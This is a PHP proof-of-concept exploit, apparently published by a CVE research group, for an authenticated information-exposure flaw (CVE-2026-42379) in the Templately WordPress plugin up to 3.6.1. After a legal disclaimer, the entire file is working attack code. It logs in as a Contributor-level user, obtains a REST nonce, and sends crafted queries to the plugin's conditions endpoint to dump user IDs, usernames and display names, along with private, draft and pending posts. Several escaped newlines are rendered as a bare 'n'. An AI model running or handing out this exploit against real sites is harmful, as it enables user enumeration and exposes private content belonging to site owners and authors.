// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42379 - Templately – Elementor & Gutenberg Template Library: 6500+ Free & Pro Ready Templates And Cloud! <= 3.6.1 - Authenticated (Contributor+) Information Exposure
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'contributor'; // Change this to a Contributor-level username
$password = 'password'; // Change this to the password
// Step 1: Authenticate and get WordPress nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials or target URL.');
}
// Step 2: Obtain a REST API nonce (needed for Templately endpoint)
$admin_url = $target_url . '/wp-admin/admin-ajax.php';
$nonce_data = array(
'action' => 'wp_rest_nonce'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($nonce_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
$nonce = json_decode($response, true);
if (!isset($nonce['nonce'])) {
// Fallback: try to get nonce from admin page
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
preg_match('/"wpApiSettings":{"root":"[^"]+","nonce":"([^"]+)"/', $response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
} else {
$nonce = $nonce['nonce'];
}
if (empty($nonce)) {
echo "[!] Could not obtain REST API nonce. Trying without nonce...n";
}
// Step 3: Exploit the vulnerability - enumerate all users (authors endpoint)
echo "[+] Step 1: Enumerating all WordPress users via authors endpoint...n";
$rest_url = $target_url . '/wp-json/templately/v1/conditions';
$payload = array(
'query' => array(
'query_type' => 'authors',
'field' => 'display_name'
),
'payload' => '' // Empty payload returns all results when is_numeric check is false
);
$headers = array(
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response body:n$responsenn";
$decoded = json_decode($response, true);
if (isset($decoded['data']) && is_array($decoded['data'])) {
echo "[+] Successfully extracted user data:n";
foreach ($decoded['data'] as $user) {
echo " - ID: " . $user['ID'] . ", Username: " . $user['user_nicename'] . ", Display Name: " . $user['display_name'] . "n";
}
} else {
echo "[!] Failed to extract user data. The site may be patched or requires different parameters.n";
}
// Step 4: Exploit to get private/draft posts
echo "n[+] Step 2: Attempting to enumerate non-public posts...n";
$payload2 = array(
'query' => array(
'query_type' => 'posts',
'field' => 'ID',
'query' => array(
'post_type' => 'any',
'posts_per_page' => 10,
'post_status' => 'private,draft,pending', // Attempt to bypass visibility
'orderby' => 'date',
'order' => 'DESC'
)
),
'payload' => ''
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload2));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response body:n$responsen";
$decoded2 = json_decode($response, true);
if (isset($decoded2['data']) && is_array($decoded2['data'])) {
echo "[+] Successfully extracted post data:n";
foreach ($decoded2['data'] as $post) {
echo " - ID: " . $post['ID'] . ", Title: " . $post['post_title'] . ", Slug: " . $post['post_name'] . "n";
}
} else {
echo "[!] Failed to extract post data or endpoint is protected.n";
}
// Clean up
unlink('/tmp/cookies.txt');